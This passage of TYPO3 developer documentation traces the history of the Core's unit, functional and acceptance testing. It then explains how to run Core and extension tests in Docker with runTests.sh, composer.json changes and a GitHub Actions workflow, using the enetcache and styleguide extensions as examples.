One flaw in our unit test system became more pressing, though: The phpunit extension that we relied on has been designed to run tests in the backend context of TYPO3 as a module. The unit tests were executed with all the state the backend created to run modules. This was troublesome since lots of unit tests now directly or indirectly relied on this state, too. And worse, this state changed depending on the developers local test system - other extensions that hooked into the system could lead to failing unit tests. With this system, tests tend to execute fine locally but then broke on Travis CI or on some other persons development system. Test execution has at this point already been done via CLI by most developers, and the unit test bootstrap basically created a full TYPO3 backend context similar to the GUI based phpunit extension.

Moreover, we had many tests that somehow changed global state and then influenced other tests. This part lead to the situation that a test worked if executed as single test but failed if executed together with all others - or vice versa.

We ultimately learned at this time that managing system state is an essential part of the Core framework. And so we started refactoring: The Core bootstrap has been hacked into manageable pieces that could be called by the unit test bootstrap in small steps. The tests started to become "real" unit tests that test only one small piece of code at a time.

With improving the unit tests and their bootstrap it also became clear that we needed a second type of tests that do the opposite of unit testing: We wanted to test not only a single isolated fraction of code, we also wanted to test the collaboration of bigger framework parts that includes many classes and database operations. In short: functional testing.

With our learning's from unit tests however it was clear that functional test execution needed to be executed in a well defined and isolated environment to be reliable: We could not just execute them in the context of the local developers system. Moreover, we had to isolate tests from each other: PHP is designed to work on a per-request basis. A CLI or web request comes in, the system bootstraps, does the job, then dies. The next request does a new bootstrap from scratch. This simplifies things a lot for developers since they don't need to take care of request overlapping state and don't need to take care too much about consumed memory. And if a single request dies in the middle of the execution, the next one still may happily work and successfully do its job. This characteristic of a scripting language can be a huge advantage over other server-side languages. And TYPO3 uses this a lot: If a request is finished in TYPO3 context, the system is "tainted" and can't be used for a second request again.

To handle this situation we came up with a functional bootstrap that creates standalone TYPO3 instances per test file. The system sets up a new TYPO3 instance for each test file in an own folder in typo3temp, links over source code from the main system, creates configuration files in this instance, creates a dedicated database and initializes it with all tables needed by extensions loaded in this instance. To then handle the isolation of single requests, each functional test runs as a new forked process that does not carry any information from another test run. Doing all this was expensive, but at least the functional test were so stable that we had very little trouble with tests that execute fine on one system but fail on another one. Additionally, running functional tests could never destroy the main instance.

2014

Next to tons of detail changes, two main steps happened in 2014.

First, the unit test isolation has been finished. The initiative standalone unit test changed the unit test bootstrap to execute only a very basic part of the system. Instance specific configuration files like LocalConfiguration.php were no longer read, no database connection established, the global backend user and language objects were no longer set up and so on. In the end, not much more than the class auto loading is initialized. To reach this, many tests had to improve their mocking of dependencies and had to specify the exact state they needed. With this being done, side effects between tests reduced a lot and a dedicated unit test runner executing tests in random order was added to find situations where test isolation was still not perfect. Nowadays unit testing is pretty stable on all machines that execute them due to these works. With nearly ten thousand tests in place it is rather seldom that a test fails on one machine and is successful on another. And if that happens, the root cause is often a detail down below in PHP itself that has not been perfectly aligned during test bootstrap - for instance a missing locale or some detail php.ini setting.

Second, the test execution was changed to use a composer based setup instead of cloning things on its own. This was at TYPO3 v6.2 times when composer was first introduced in TYPO3 world - testing was one of the first usages. In this process we were able to ditch the TYPO3 specific extension based flavor of phpunit and switched to the native version instead. This turned out to be a wise decision since TYPO3 Core testing now no longer relied on development of a third party TER extension but could use the native testing stack directly and for instance pick up new versions quickly.

2015

Functional testing gained a lot of traction: The DataHandler and various related classes in the TYPO3 Core are the most crucial and at the same time complex part of the framework. All the language, multi-site, workspace and inline handling is nifty and it's hard to change code in this area without breaking something. This is still an issue and improving this situation is a mid- to long-term goal. So we decided to use functional tests to specify what the DataHandler does in which situations. There are hundreds of tests that play through complex scenarios, example: "Add some fixture pages and content, call DataHandler to create a localized version in a workspace, call DataHandler to merge that workspace content into live, verify database content is as expected, set up a basic frontend, call frontend as see if expected content is rendered." Nowadays, if changing DataHandler code, functional tests can tell precisely if a change in this area is ok or not. As a result, we don't see many regressions in this area anymore.

Adding so many functional tests has a drawback, though: The needed isolation and expensive functional test setup is rather slow. Executing the functional test suite means creating tens of thousands of database tables. While unit testing is quick (a decent machine handles our ten thousand unit tests in thirty seconds), executing a thousand functional tests can take an hour or more. This can be improved by setting up a database in a memory driven ram disk and some other tricks, but still, functional test execution is clearly not a super charged turbo.

Additionally, we had to increase the test isolation even more: There are test scenarios that execute both backend and frontend functionality. This is hard in TYPO3: A backend request is a backend request and it can't be used as a frontend request at the same time. Extension developers may know this: In TYPO3 it's hard to do frontend requests from within the backend or from CLI - extensions like solr or direct_mail struggle at this point, too and need to find some solution working around this. In functional testing, a test scenario that does a frontend request thus forks processes twice: First, the backend part is executed as standalone process as explained above, which then forks another process to execute the frontend request. As a result, only hard-boiled Core developers tend to work on such functional tests: They are slow, hard to debug and complex to set up.

2016

In early 2016, Core developers added another type of testing: Acceptance tests. Those tests use a browser to actually click around in the backend to verify various parts of the system. For instance, TYPO3 Core had a history of breaking the installation procedure once in a while: Most Core developers set up a local development system once and then never or only seldom see the installation procedure again. If code is changed that breaks the installer, this may go through not noticed. Acceptance testing put an end to this: There are tests to install a fresh TYPO3, log in to the backend, install the introduction extension and then verify the frontend works. The installer never hard broke again since that. Other acceptance tests nowadays use the styleguide extension to click through some complex backend scenarios, verify the backend throws no javascript errors and so on.

We however quickly learned that acceptance testing is fragile: Unit and functional testing has been stabilized very well meanwhile - they do not break at arbitrary places. Acceptance testing however is more complex: A web server is needed, some system to pilot the browser is needed, single clicks may run into timeouts if the system is loaded, pages are sometimes not fully loaded before the next click is performed. Additionally the TYPO3 backend still relies on iframes for all main modules, which again does not simplify things. It took the Core development two further years to stabilize this well enough so acceptance tests could be executed often without throwing false positives at various places. In the end acceptance testing is another great leap forward to ensure major parts of the TYPO3 Core do work as expected.

Another thing became more and more pressing in 2016: The automatic testing via Travis CI started to show drawbacks. We continued adding lots of tests and test suites over the years and executing everything after each code merge took an increasing amount of time. Even with all sorts of tricks, Travis CI was busy for more than half an hour to go through the suite, merging more than two patches per hour thus added to a queue. There were Core code sprints were Travis reported green or red on a just merged patch only half a day later. We tried to pay the service for more processing power, but payed plans do not work with Travis CI for open source repositories (maybe they changed that restriction meanwhile). We also knew that the amount of tests will increase and thus lead to even longer run times. Additionally, Travis CI was configured to only test patches that were actually merged into the git main branches. So we always only knew after a merge if the test suite stays green. But we wanted to know if the test suite is green before merging a patch. Enabling Travis CI to test each and every patch set that is pushed to the review system was out of question due to the long run times, though.

So we looked for alternatives. Luckily, the TYPO3 GmbH was founded in 2016 and got a open source license by atlassian for their main products. Atlassian has an own continuous integration solution called bamboo. This CI allows adding "remote agents" that pick up single jobs to run them. It's possible to scale by just adding more agents. We thus split the time consuming test tasks into single parts and execute them in parallel on many agents at the same time. This also allowed us to execute the test suite before merging patches: If pushing a patch set to the review system, the bamboo based testing immediately picks up the new patch version and runs the entire suite, a result is reported a couple of minutes later. So, this is all about throwing enough hardware at the testing issue: The TYPO3 GmbH has a deal with the Leibniz Rechenzentrum who grant us hardware on one of their clusters to perform the tests.

2017

To the end of TYPO3 Core v8 development the bootstrap, helper and set up code to execute Core tests has been extracted from the Core to an own repository, the typo3/testing-framework. This allowed re-using this package within extensions to execute own tests. It however took that repository another major Core version to mature well enough to easily do that. Writing and executing tests for TYPO3 extensions is possible for a long time already, but extension authors were mostly on their own in finding a suitable solution to do that. This chapter may put an end to this confusion.

2018

Since 2016, the TYPO3 Core test setup went through further changes and improvements: Various test details were added that checked the integrity of the system. TYPO3 v8 switched to doctrine so we started executing the functional tests on meanwhile four different database systems, a nightly test setup has been established that checks even more system permutations and software dependencies and much more.

As another important step, the Core developers worked on the functional test isolation again in TYPO3 v9: As explained above, the functional tests forked processes twice if frontend testing was involved. With TYPO3 v9 however, the TYPO3 Core bootstrap has been heavily improved, with having a special eye on system state encapsulation: Next to the incredible PSR-15 works in this area, two further API's have been established: Context and Environment. Remember each functional tests case runs in an own instance within typo3temp? TYPO3 Core always had the PHP constant PATH_site that contained the path to the document root. With having test cases in different locations, this constant would have to change. But it can't, it is a constant and PHP luckily does not allow redefining constants. The environment API of TYPO3 Core v9 however is an object that is initialized during Core bootstrap. Next to some other details, it also contains the path to the document root. Adding this class allowed us to ditch the usage of PATH_site in the entire Core. This removed the main blocker to execute many functional test suites in one PHP process. After solving another series of hidden state of the framework, the functional test setup could finally be changed to not fork new processes for each and every test anymore. So now, we can proof that one TYPO3 backend instance can handle many backend requests in one process - we are sure our framework state is encapsulated well enough to allow such things. This change in the TYPO3 Core and dropping the process isolation for functional backend tests significantly simplified working with functional tests now and debugging is much easier and improved Core code at the same time. This pattern repeated often over the years: The test suites show quite well which parts of the Core need attention. Working in these areas in turn improves the Core for everyone and allows usages that have not been possible before.

In late 2018 another thing has been established: The runTests.sh script allows Core developers to easily execute tests within a container based environment that takes care of all the nasty system dependency problems. The test setup for some test suites is far from trivial: Acceptance tests need a web server, chrome and selenium, functional tests need different database systems that at best run in RAM, and so forth. Not too many Core developers went through all that to actually run and develop tests locally. The script now hides away all that complexity and creates a well defined and simple to use environment to run the tests, the only dependencies are recent docker and docker-compose versions.

2019

The above milestones show that efforts in the Core testing area have positive effects on Core and extension code and allow system usages that have not been possible before.

There are some further hard nuts we have to crack, though: For example, while the process isolation for functional backend tests has been dropped in 2018, the tests still fork processes to execute frontend scenarios. This is still ugly. It shows that calling a TYPO3 frontend from within the backend context or from CLI is still not easily possible. As a goal, a developer in such a situation would usually want to do this: Preserve the current framework state, create a PSR-7 request for the frontend, fire it, get a PSR-7 response object back, reset the framework state and then further work with the response object. Lots of details to allow this are in place since TYPO3 v9 already, with only some missing details: For instance, there is that nasty constant TYPO3_MODE that is set to "FE" in a frontend call and "BE" in a backend call. So yeah, this constant is not constant. It is one of the main blockers that prevents us from dropping the backend/frontend functional test isolation. So, this constant must fall, and this will be one of the things that will be hopefully resolved with TYPO3 v10. As soon as this last process isolation is dropped from the functional test setup, extension authors will know that executing a frontend request from within the backend must be easily possible. We're looking forward to that - it will be one of the last steps to finally manage framework state in a good way and maybe we can rewrite this documentation section soon.

2020

The pending milestone of 2019 has been achieved in late 2020: The core functional tests no longer spawn PHP processes to execute frontend requests. A PSR-7 sub request is initiated with core v11 instead.

This is quite an achievement: It is the proof that core framework state is encapsulated well enough to finally execute a frontend request from within a backend request or CLI. As one major pre-condition, the broken constant TYPO3_MODE is finally gone (deprecated and unused in core). Further core versions can drop that constant and extensions will have to drop their usage, too. So with v12, TYPO3_MODE will be gone, and TYPO3 can create cool features from this. So again, the core testing paved the way for new opportunities and TYPO3 usages.

Core testing

Introduction

This chapter is about executing TYPO3 Core tests locally and is intended to give you a better understanding of testing within TYPO3's Core. A full Core git checkout comes with everything needed to run tests in TYPO3.

Core development is most likely bound to the Core main branch - backporting patches to older branches are usually handled by Core maintainers and often don't affect other Core contributors.

Note, the main script Build/Scripts/runTests.sh is relatively new. It works best when executed on a Linux based host but can be run under macOS and Windows with some performance drawbacks on macOS.

Additionally, it is possible to execute tests on a local system without using Docker. Depending on which test suite is executed, developers may need to configure their environments to run the desired test. We however learned not too many people actually do that as it can become tricky. This chapter does not talk about test execution outside of Build/Scripts/runTests.sh.

System dependencies

Many developers are familiar with Docker. As outlined in the history chapter, test execution needs a well defined, isolated, stable and reliable environment to run tests and also remove the need to manage niche dependencies on your local environment for tests such as "execute functional test "X" using MSSQL with xdebug".

Git, docker and docker-compose are all required. For standalone test execution, a local installation of PHP is not required. You can even composer install a Core by calling Build/Scripts/runTests.sh -s composerInstall in a container.

If you're using a Mac, install or update Docker to the most recent version using the packaging system of your choice.

If you are using Ubuntu Linux 18.04 or higher, everything should be ok after calling sudo apt-get install git docker docker-compose once. For other Linux distributions including older releases of Ubuntu, users should have a look at the Docker homepage to see how to update to a recent version. It usually involves adding some other package repository and updating / installing using it. Make sure your local user is a member of the docker group, else the script will fail with something like /var/run/docker.sock: connect: permission denied.

Windows can rely on WSL to have a decent docker version, too.

Quick start

From now on, it is assumed that git, docker and docker-compose are available with the most up-to-date release running on the host system. Executing the basic Core unit test suite boils down to:

# Initial core clone
git clone git@github.com:typo3/typo3.git && cd typo3
# Install composer dependencies
Build/Scripts/runTests.sh -s composerInstall
# Run unit tests
Build/Scripts/runTests.sh
Copied!

That's it. You just executed the entire unit test suite. Now that we have examined the initial Core clone and a composer install process, we will then look at the different ways we can apply the runTests.sh or other scenarios.

Overview

So what just happened? We cloned a Core, composer installed dependencies and executed Core unit tests. Let's have a look at some more details: runTests.sh is a shell script that figures out which test suite with which options a user wants to execute, does some error handling for broken combinations, writes the file Build/testing-docker/local/.env according to its findings and then executes a couple of docker-compose commands to prepare containers, runs tests and stops containers after execution again.

A Core developer doing this for the first time may notice docker-compose pulling several container images before continuing. These are the dependent images needed to execute certain jobs. For instance the container typo3gmbh/php72 may be fetched. Its definition can be found at TYPO3 GmbH GitHub. These are the exact same containers Bamboo based testing is executed in. In Bamboo, the combination of Build/bamboo/src/main/java/core/PreMergeSpec.java and Build/testing-docker/bamboo/docker-compose.yml specifies what Bamboo executes for patches pushed to the review system. On local testing, this is the combination of Build/Scripts/runTests.sh, Build/testing-docker/local/.env (created by runTests.sh) and Build/testing-docker/local/docker-compose.yml.

Whats impressive is that runTests.sh can do everything locally that Bamboo executes as pre-merge tests at the same time. It's just that the combinations of tests and splitting to different jobs is slightly different, for instance Bamboo does multiple tests in the "integration" test at once that are single "check" suites in runTests.sh. But if a patch is pushed to Bamboo and it complains about something being broken, it is possible to replay and fix the failing suite locally, then push an updated patch and hopefully enable the Bamboo test to pass.

A runTests.sh run

Let's pick a runTests.sh example and have a closer look:

lolli@apoc /var/www/local/cms/Web $ Build/Scripts/runTests.sh -s functional typo3/sysext/core/Tests/Functional/Authentication/
Creating network "local_default" with the default driver
Creating local_redis4_1       ... done
Creating local_mariadb10_1    ... done
Creating local_memcached1-5_1 ... done
Waiting for database start...
Database is up
PHP 7.2.11-3+ubuntu18.04.1+deb.sury.org+1 (cli) (built: Oct 25 2018 06:44:08) ( NTS )
PHPUnit 7.1.5 by Sebastian Bergmann and contributors.

.                                                                   1 / 1 (100%)

Time: 184 ms, Memory: 16.00MB

OK (1 test, 1 assertion)
Stopping local_mariadb10_1    ... done
Stopping local_redis4_1       ... done
Stopping local_memcached1-5_1 ... done
Removing local_functional_mariadb10_run_1         ... done
Removing local_prepare_functional_mariadb10_run_1 ... done
Removing local_mariadb10_1                        ... done
Removing local_redis4_1                           ... done
Removing local_memcached1-5_1                     ... done
Removing network local_default
lolli@apoc /var/www/local/cms/Web $ echo $?
0
lolli@apoc /var/www/local/cms/Web $
Copied!

The command asks runTests.sh to execute the "functional" test suite -s functional and to not execute all available tests but only those within typo3/sysext/core/Tests/Functional/Authentication/. The script first starts the containers it needs: Redis, memcached and a MariaDB. All in one network. It then waits until the MariaDB container opens its database port, then starts a PHP 7.2 container and calls phpunit to execute the tests. phpunit executes only one test in this case, that one is green. The containers and networks are then removed again. Note the exit code of runTests.sh (echo $?) is identical to the exit code of the phpunit call: If phpunit reports green, runTests.sh returns 0, and if phpunit is red, the exit code would be non zero.

Examples

First and foremost, the most important call is -h - the help output. The output below is cut, but the script returns a useful overview of options. The help output is also returned if given options are not valid:

lolli@apoc /var/www/local/cms/Web $ Build/Scripts/runTests.sh -h
TYPO3 Core test runner. Execute acceptance, unit, functional and other test suites in
a docker based test environment. Handles execution of single test files, sending
xdebug information to a local IDE and more.
...
Copied!

Some further examples: The most important tests suites are unit tests, functional tests and acceptance tests, but there is more:

# Execute the unit test suite with PHP 7.3
Build/Scripts/runTests.sh -s unit -p 7.3

# Execute some backend acceptance tests
Build/Scripts/runTests.sh -s acceptance typo3/sysext/core/Tests/Acceptance/Backend/Topbar/

# Execute some functional tests with PHP 7.3 and postgres DBMS
Build/Scripts/runTests.sh -s functional -p 7.3 -d postgres typo3/sysext/core/Tests/Functional/Package/

# Execute the cgl fixer
Build/Scripts/runTests.sh -s cglGit

# Verbose runTests.sh output. Shows main steps and composer commands for debugging
Build/Scripts/runTests.sh -v
Copied!

As shown there are various combinations available. Just go ahead, read the help output and play around. There are tons of further test suites to try.

One interesting detail should be mentioned: runTests.sh uses typo3gmbh/phpXY as main PHP containers. Those are loosely maintained and may be updated. Use the command Build/Scripts/runTests.sh -u to fetch the latest versions of these containers.

Debugging

To speed up test execution, the PHP extension xdebug is not usually loaded. However, to allow debugging tests and system under tests, it is possible to activate xdebug and send debug output to a local IDE. We'll use PhpStorm for this example.

Let's verify our PhpStorm debug settings first. Go to File > Settings > Languages & Frameworks > PHP > Debug. Make sure "Can accept external connections" is enabled, remember the port if it is not the default port(9000) and also raise "Max. simultaneous connections" to two or three. Note remote debugging may impose a security risk since everyone on the network can send debug streams to your host.

Phpstorm debug settings window

Accept changes and enable "Start listening for PHP connections". If you changed settings, turn them off and on once to read new settings.

Phpstorm with enabled debug listening

Now set a break point in an assignment. Note break points do not work "everywhere", for instance not on empty lines and not on array assignments. The best way is to use a straight command. We'll use a simple test file for now, add a breakpoint and then execute this test. If all goes well, PhpStorm stops at this line and opens the debug window.

Phpstorm with active debug session
Build/Scripts/runTests.sh -x -s functional -p 7.3 -d postgres typo3/sysext/core/Tests/Functional/Package/RuntimeActivatedPackagesTest.php
Copied!

The important flag here is -x! This is available for unit and functional testing. It enables xdebug in the PHP container and sends all debug information to port 9000 of the host system. If a local PhpStorm is listening on a non-default port, a different port can be specified with -y.

If PhpStorm does not break as expected, some adjustments in this area may be required. First, make sure "local" debugging works. Set a breakpoint in a local project and see if it works. If it works locally, the container based debugging should also work. Next, make sure a proper break point has been set. Additionally, it may be useful to activate "Break at first line in PHP scripts" in your PhpStorm settings. runTests.sh mounts the local path to the same location within the container, so path mapping is not needed. PhpStorm also comes with a guide how to set up debugging.

Extension testing

Introduction

As an extension author, it is likely that you may want to test your extension during its development. This chapter details how extension authors can set up automatic extension testing. We'll do that with two examples. Both embed the given extension in a TYPO3 instance and run tests within this environment, both examples also configure GitHub Actions to execute tests. We'll use Docker containers for test execution again and use an extension specific runTests.sh script for executing test setup and execution.

Scope

About this chapter and what it does not cover, first.

  • This documentation assumes an extension is tested with only one major Core version. It does not support extension testing with multiple target Core versions (though that is possible). The Core Team encourages extension developers to have dedicated Core branches per Core version. This has various advantages, it is for instance easy to create deprecation free extensions this way.
  • We assume a Composer based setup. Extensions should provide a composer.json file anyway and using Composer for extension testing is quite convenient.
  • Similar to Core testing, this documentation relies on docker and docker-compose. See the Core testing requirements for more details.
  • We assume your extensions code is located within github and automatic testing is carried out using GitHub Actions. The integration of GitHub Actions into github is easy to set up with plenty of documentation already available. If your extensions code is located elsewhere or a different CI is used, this chapter may still be of use in helping you build a general understanding of the testing process.

General strategy

Third party extensions often rely on TYPO3 Core extensions to add key functionality.

If a project needs a TYPO3 extension, it will add the required extension using composer require to its own root composer.json file. The extensions composer.json then specifies additional detail, for instance which PHP class namespaces it provides and where they can be found. This properly integrates the extension into the project and the project then "knows" the location of extension classes.

If we want to test extension code directly, we do a similar change: We turn the composer.json file of the extension into a root composer.json file. That file then serves two needs at the same time: It is used by projects that require the extension as a dependency and it is used as the root composer.json to specify dependencies turning the extension into a project on its own for testing. The latter allows us to set up a full TYPO3 environment in a sub folder of the extension and execute the tests within this sub folder.

Testing enetcache

The extension enetcache is a small extension that helps with frontend plugin based caches. It has been available as composer package and a TER extension for quite some time and is loosely maintained to keep up with current Core versions.

The following is based on the current (May, 2023) main branch of enetcache, later versions may be structured differently.

This main branch:

  • supports TYPO3 v11 and TYPO3 v12
  • requires typo3/testing-framework v7 (which supports v11 and v12)

Older versions of this extension were structured differently, each branch of the extension supported only one TYPO3 version:

  • 1.2 compatible with Core v7, released to TER as 1.x.y
  • 2 compatible with Core v8, released to TER as 2.x.y
  • master compatible with Core v9, released to TER as 3.x.y

On this page, we focus on testing one TYPO3 version at a time though it is possible to support and test 2 TYPO3 versions in one branch with the typo3/testing-framework and enetcache does this. But, for the sake of simplicity we describe the simpler use case here.

The enetcache extension comes with a couple of unit tests in Tests/Unit, we want to run these locally and by GitHub Actions, along with some PHP linting to verify there is no fatal PHP error.

Starting point

As outlined in the general strategy, we need to extend the existing composer.json file by adding some root composer.json specific things. This does not harm the functionality of the existing composer.json properties if the extension is a project dependency and not used as root composer.json: Root properties are ignored in composer if the file is not used as root project file, see the notes "root-only" of the composer documentation for details.

This is how the composer.json file looks before we add a test setup:

{
  "name": "lolli/enetcache",
  "type": "typo3-cms-extension",
  "description": "Enetcache cache extension",
  "homepage": "https://github.com/lolli42/enetcache",
  "authors": [
    {
      "name": "Christian Kuhn",
      "role": "Developer"
    }
  ],
  "license": [
    "GPL-2.0-or-later"
  ],
  "require": {
    "typo3/cms-core": "^11.5"
  },
  "autoload": {
    "psr-4": {
      "Lolli\\Enetcache\\": "Classes"
    }
  },
  "extra": {
    "branch-alias": {
      "dev-master": "2.x-dev"
    }
  }
}
Copied!

This is a typical composer.json file without any complexity: It's a typo3-cms-extension, with an author and a license. We are stating that "I need at least 11.5.0 of cms-core" and we tell the autoloader "find all class names starting with \Lolli\Enetcache in the Classes/ directory".

The extension already contains some unit tests that extend typo3/testing-framework's base unit test class in directory Tests/Unit/Hooks (stripped):

E
<?php
namespace Lolli\Enetcache\Tests\Unit\Hooks;

use TYPO3\TestingFramework\Core\Unit\UnitTestCase;

class DataHandlerFlushByTagHookTest extends UnitTestCase
{
    /**
     * @test
     */
    public function findReferencedDatabaseEntriesReturnsEmptyArrayForTcaWithoutRelations()
    {
        // some unit test code
    }
}
Copied!

Preparing composer.json

Now let's add our properties to put these tests into action. First, we add a series of properties to composer.json to add root composer.json details, turning the extension into a project at the same time:

{
  "name": "lolli/enetcache",
  "type": "typo3-cms-extension",
  "description": "Enetcache cache extension",
  "homepage": "https://github.com/lolli42/enetcache",
  "authors": [
    {
      "name": "Christian Kuhn",
      "role": "Developer"
    }
  ],
  "license": [
    "GPL-2.0-or-later"
  ],
  "require": {
    "typo3/cms-core": "^11.5"
  },
  "config": {
    "vendor-dir": ".Build/vendor",
    "bin-dir": ".Build/bin"
  },
  "require-dev": {
    "typo3/testing-framework": "^7"
  },
  "autoload": {
    "psr-4": {
      "Lolli\\Enetcache\\": "Classes"
    }
  },
  "autoload-dev": {
    "psr-4": {
      "Lolli\\Enetcache\\Tests\\": "Tests"
    }
  },
  "extra": {
    "branch-alias": {
      "dev-master": "2.x-dev"
    },
    "typo3/cms": {
      "extension-key": "enetcache",
      "web-dir": ".Build/Web"
    }
  }
}
Copied!

Note all added properties are only used within our root composer.json files, they are ignored if the extension is loaded as a dependency in our project. Note: We specify .Build as build directory. This is where our TYPO3 instance will be set up. We add typo3/testing-framework in a v11 compatible version as require-dev dependency. We add a autoload-dev to tell composer that test classes are found in the Tests/ directory.

Now, before we start playing around with this setup, we instruct git to ignore runtime on-the-fly files. The .gitignore looks like this:

.gitignore
.Build/
.idea/
Build/testing-docker/.env
composer.lock
Copied!

We ignore the entire .Build directory, these are on-the-fly files that do not belong to the extension functionality. We also ignore the .idea directory - this is a directory where PhpStorm stores its settings. We also ignore Build/testing-docker/.env - this is a test runtime file created by runTests.sh later. And we ignore the composer.lock file: We don't specify our dependency versions and a composer install will later always fetch for instance the youngest Core dependencies marked as compatible in our composer.json file.

Let's clone that repository and call composer install (stripped):

lolli@apoc /var/www/local/git $ git clone git@github.com:lolli42/enetcache.git
Cloning into 'enetcache'...
X11 forwarding request failed on channel 0
remote: Enumerating objects: 76, done.
remote: Counting objects: 100% (76/76), done.
remote: Compressing objects: 100% (50/50), done.
remote: Total 952 (delta 34), reused 52 (delta 18), pack-reused 876
Receiving objects: 100% (952/952), 604.38 KiB | 1.48 MiB/s, done.
Resolving deltas: 100% (537/537), done.
lolli@apoc /var/www/local/git $ cd enetcache/
lolli@apoc /var/www/local/git/enetcache $ composer install
Loading composer repositories with package information
Updating dependencies (including require-dev)
Package operations: 75 installs, 0 updates, 0 removals
  - Installing typo3/cms-composer-installers ...
  ...
  - Installing typo3/testing-framework ...
...
Writing lock file
Generating autoload files
Generating class alias map file
Inserting class alias loader into main autoload.php file
lolli@apoc /var/www/local/git/enetcache $
Copied!

To clean up any errors created at this point, we can always run rm -r .Build/ composer.lock later and call composer install again. We now have a basic TYPO3 instance in our .Build/ folder to execute our tests in:

lolli@apoc /var/www/local/git/enetcache $ cd .Build/
lolli@apoc /var/www/local/git/enetcache/.Build $ ls
bin  vendor  Web
lolli@apoc /var/www/local/git/enetcache/.Build $ ls Web/
index.php  typo3  typo3conf
lolli@apoc /var/www/local/git/enetcache/.Build $ ls Web/typo3/sysext/
backend  Core  Extbase  fluid  frontend  recordlist
lolli@apoc /var/www/local/git/enetcache/.Build $ ls -l Web/typo3conf/ext/
total 0
lrwxrwxrwx 1 lolli www-data 29 Nov  5 14:19 enetcache -> /var/www/local/git/enetcache/
Copied!

The package typo3/testing-framework that we added as require-dev dependency has some basic Core extensions set as dependency, we end up with the Core extensions backend, core, extbase, fluid and frontend in .Build/Web/typo3/sysext.

We now have a full TYPO3 instance. It is not installed, there is no database, but we are now at the point to begin unit testing!

runTests.sh and docker-compose.yml

Next we need to setup our tests. These are the two files we need: Build/Scripts/runTests.sh and Build/testing-docker/ docker-compose.yml.

These files are re-purposed from TYPO3's Core: core Build/Scripts/runTests.sh and core Build/testing-docker/local/ docker-compose.yml. You can copy and paste these files from extensions like enetcache or styleguide to your own extension, but you should then look through the files and adapt to your needs, for example.

  • search for the word "enetcache" in runTests.sh and replace it with your extension key.
  • You may want to change the PHP_VERSION in runTests.sh to your minimally supported PHP version. (You can also specify the version on the command line using runTests.sh with -p.)

Let's run the unit tests:

command line
Build/Scripts/runTests.sh
Copied!

You may now see something similar to this:

Creating network "local_default" with the default driver
PHP 7.4.33 (cli) (built: Nov 12 2022 09:17:36) ( NTS )
PHPUnit 9.6.8 by Sebastian Bergmann and contributors.

.                                                                   1 / 1 (100%)

Time: 00:00.004, Memory: 8.00 MB

OK (1 test, 4 assertions)
Removing local_unit_run_3f67be574abf ... done
Removing network local_default
Copied!

If there is no test output, try changing the verbosity when you run runTests.sh:

enetcache> Build/Scripts/runTests.sh -v
Copied!

Use -h to see all options:

enetcache> Build/Scripts/runTests.sh -h
Copied!

On some versions of MacOS you might get the following error message when executing runTests.sh:

$ ./Build/Scripts/runTests.sh
readlink: illegal option -- f
usage: readlink [-n] [file ...]
Creating network "local_default" with the default driver
ERROR: Cannot create container for service unit: invalid volume specification: '.:.:rw':
invalid mount config for type "volume": invalid mount path: '.' mount path must be absolute
Removing network local_default
Copied!

To solve this issue follow the steps described here to install greadlink which supports the needed --f option.

Rather than changing the runTests.sh to then use greadlink and thus risk breaking your automated testing via GitHub Actions consider symlinking your readlink executable to the newly installed greadlink with the following command as mentioned in the comments:

ln -s "$(which greadlink)" "$(dirname "$(which greadlink)")/readlink"
Copied!

The runTests.sh file of enetcache comes with some additional features, for example:

  • it is possible to execute composer update from within a container using Build/Scripts/runTests.sh -s composerUpdate
  • it is possible to execute unit tests with a several different PHP versions (with the -p option). This is available for PHP linting, too (-s lint).
  • Similar to Core test execution it is possible to break point tests using xdebug (-x option)
  • typo3gmbh containers can be updated using runTests.sh -u
  • verbose output is available with -v
  • help is available with runTests.sh -h

Github Actions

With basic testing in place we now want automatic execution of tests whenever something is merged to the repository and if people create pull requests for our extension, we want to make sure our carefully crafted test setup actually works. We'll use the CI service of Github Actions to take care of that. It's free for open source projects. In order to tell the CI what to do, create a new workflow file in .github/workflows/ci.yml

name: CI

on: [push, pull_request]

jobs:

  testsuite:
    name: all tests
    runs-on: ubuntu-latest
    strategy:
      matrix:
        php: [ '7.4', '8.0', '8.1' ]
        minMax: [ 'composerInstallMin', 'composerInstallMax' ]
    steps:
      - name: Checkout
        uses: actions/checkout@v2

      - name: Composer
        run: Build/Scripts/runTests.sh -p ${{ matrix.php }} -s ${{ matrix.minMax }}

      - name: Composer validate
        run: Build/Scripts/runTests.sh -p ${{ matrix.php }} -s composerValidate

      - name: Lint PHP
        run: Build/Scripts/runTests.sh -p ${{ matrix.php }} -s lint

      - name: Unit tests
        run: Build/Scripts/runTests.sh -p ${{ matrix.php }} -s unit

      - name: Functional tests with mariadb
        run: Build/Scripts/runTests.sh -p ${{ matrix.php }} -d mariadb -s functional

      - name: Functional tests with mssql
        run: Build/Scripts/runTests.sh -p ${{ matrix.php }} -d mssql -s functional

      - name: Functional tests with postgres
        run: Build/Scripts/runTests.sh -p ${{ matrix.php }} -d postgres -s functional

      - name: Functional tests with sqlite
        run: Build/Scripts/runTests.sh -p ${{ matrix.php }} -d sqlite -s functional
Copied!

In case of enetcache, we let Github Actions test the extension with the several PHP versions. Each of these PHP Versions will also be tested with the highest and lowest compatible dependencies (defined in strategy.matrix.minMax). All defined steps run on the same checkout, so we will see six test runs in total, one per PHP version with each minMax property. Each run will do a separate checkout, composer install first, then all the test and linting jobs we defined. It's possible to see executed test runs online. Green :) Note we again use runTests.sh to actually run tests. So the environment our tests are executed in is identical to our local environment. It's all dockerized. The environment provided by Github Actions is only used to set up the docker environment.

Testing styleguide

The above enetcache extension is an example for a common extension that has few testing needs: It just comes with a couple of unit and functional tests. Executing these and maybe adding PHP linting is recommended. More ambitious testing needs additional effort. As an example, we pick the styleguide extension. This extension is developed "core-near", Core itself uses styleguide to test various FormEngine details with acceptance tests and if developing Core, that extension is installed as a dependency by default. However, styleguide is just a casual extension: It is released to composer's packagist.org and can be loaded as dependency (or require-dev dependency) in any project.

The styleguide extension follows the Core branching principle, too: At the time of this writing, its "master" branch is dedicated to be compatible with upcoming Core version 11. There are branches compatible with older Core versions, too.

In comparison to enetcache, styleguide comes with additional test suites: It has functional and acceptance tests! Our goal is to run the functional tests with different database platforms, and to execute the acceptance tests. Both locally and by GitHub Actions and with different PHP versions.

Basic setup

The setup is similar to what has been outlined in detail with enetcache above: We add properties to the composer.json file to make it a valid root composer.json defining a project. The require-dev section is a bit longer as we also need codeception to run acceptance tests and specify a couple of additional Core extensions for a basic TYPO3 instance. We additionally add an app-dir directive in the extra section.

